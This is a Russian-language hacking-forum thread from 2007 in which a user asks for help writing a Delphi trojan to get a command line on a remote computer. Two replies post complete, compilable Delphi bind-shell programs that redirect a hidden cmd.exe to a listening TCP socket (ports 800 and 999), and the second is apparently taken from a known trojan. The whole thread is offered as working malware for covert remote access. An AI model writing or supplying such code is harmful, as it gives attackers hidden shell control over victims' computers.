Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   помогите написать троя (дельфи) (https://forum.antichat.xyz/showthread.php?t=36972)

sob@ke 02.04.2007 07:58

помогите написать троя (дельфи)
 
помогите мне плииз)))как написать троя на дельфи для получения командной строки на у даленном комьпьютере?

TaNkist 03.04.2007 06:41

Цитата:

мона запустить командную строку и иммтировать нажатие клавиш
Проще, перенаправить ввод-вывод с cmd.exe на сокет. Реализуеся довольно просто:
Код:

program BindShell;

uses
  Windows,
  WinSock;

function WSASocketA(af, wType, protocol: integer;
                    lpProtocolInfo: pointer;
                    g, dwFlags: dword): integer;
                    stdcall; external 'ws2_32.dll';

var
  WSAData: TWSAData;
  FSocket: integer;
  SockAddrIn: TSockAddrIn;
  sHandle: dword;
  St: TStartupInfo;
  Pr: TProcessInformation;

begin
  WSAStartup($202, WSAData); // инициализация WinSocks2
  // создаем сокет
  FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(800); // назначаем 800 TCP порт для открытия шела
  bind(FSocket, SockAddrIn, 16);
  listen(FSocket, 0);  // открываем порт
  while true do
  begin
    sHandle := accept(FSocket, nil, 0); // ожидаем соединения
    if sHandle <> INVALID_SOCKET then
    begin
      ZeroMemory(@St, SizeOf(TStartupInfo));
      St.cb := SizeOf(TStartupInfo);
      St.wShowWindow := SW_HIDE;
      St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
      St.hStdInput  := sHandle;
      St.hStdOutput := sHandle;
      St.hStdError  := sHandle;
      // запускаем cmd.exe с перенаправлением ввода-вывода
      CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
      CloseHandle(sHandle);
      CloseHandle(Pr.hProcess);
      CloseHandle(Pr.hThread);
    end;
  end;
end.


W!z@rD 04.04.2007 23:03

или вот...
Код:

program theef_rpsrv;

uses
 Windows, Winsock2, Winsock;

const
 Port = 999;

var
 WSAData: TWSAData;
 FDSet: TFDSet;
 SockAddrIn: TSockAddrIn;
 ServerSocket: TSocket;
 Connected: PInteger;
 ThreadID: Cardinal;
 szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
 hSocket: PInteger;
 si: TStartupInfo;
 pi: TProcessInformation;
begin
 hSocket := Parameter;
 ZeroMemory(@si, SizeOf(si));
 si.cb := SizeOf(si);
 si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
 si.wShowWindow := SW_HIDE;
 si.hStdInput := hSocket^;
 si.hStdOutput := hSocket^;
 si.hStdError := hSocket^;
 CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
 WaitForSingleObject(pi.hProcess, INFINITE);
 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);
 Shutdown(hSocket^, SD_BOTH);
 CloseSocket(hSocket^);
 Dispose(hSocket);
 Result := 0;
end;

begin
 WSAStartUp(MakeWord(1, 1), WSAData);
 ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_addr.s_addr := INADDR_ANY;
 SockAddrIn.sin_port := htons(Port);
 Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
 Listen(ServerSocket, 1);
 GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
 while True do
  begin
  FD_Zero(FDSet);
  FD_Set(ServerSocket, FDSet);
  Select(0, @FDSet, nil, nil, nil);
  if FD_IsSet(ServerSocket, FDSet) then
    begin
    New(Connected);
    Connected^ := Accept(ServerSocket, nil, nil);
    if Connected^ <> SOCKET_ERROR then
      BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
    else
      Break;
    end;
  end;
 WSACleanup;
end.


sn0w 06.04.2007 18:31

смари исходник про биндшелл (прикрепленные темы форума)


Время: 02:48